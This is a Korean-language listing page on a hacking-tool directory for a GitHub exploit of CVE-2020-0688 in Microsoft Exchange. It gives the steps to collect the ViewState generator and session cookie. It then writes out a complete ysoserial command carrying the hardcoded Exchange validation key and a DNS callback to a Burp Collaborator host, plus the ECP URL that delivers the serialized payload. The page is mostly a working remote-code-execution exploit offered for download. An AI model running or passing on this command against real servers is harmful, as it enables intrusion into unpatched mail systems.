Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2020-0688 — cve-2020-0688 | Kitploit
도구/GitHubGitHub/random-robbie/cve-2020-0688
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubrandom-robbie/cve-2020-0688

cve-2020-0688

cve-2020-0688

저장소 보기
163456년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

cve-2020-0688

cve-2020-0688

이메일 주소 권한이 있는 사용자로 로그인하는 것은 문제가 되지 않습니다.

획득 - 페이지 소스에서 __VIEWSTATEGENERATOR 가져오기 획득 - viewstateuserkey 값에 대한 ASP.NET_SessionId 쿠키 값 가져오기

여기서 YSO 다운로드

root@kitploit:~
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "nslookup teasdas.myburpcollab.net" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy

다음으로 이동:

root@kitploit:~
https://localhost/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

Exploit.py는 테스트되지 않았으며, 실행하고 실험할 데모 시스템이 필요합니다.

도구 다운로드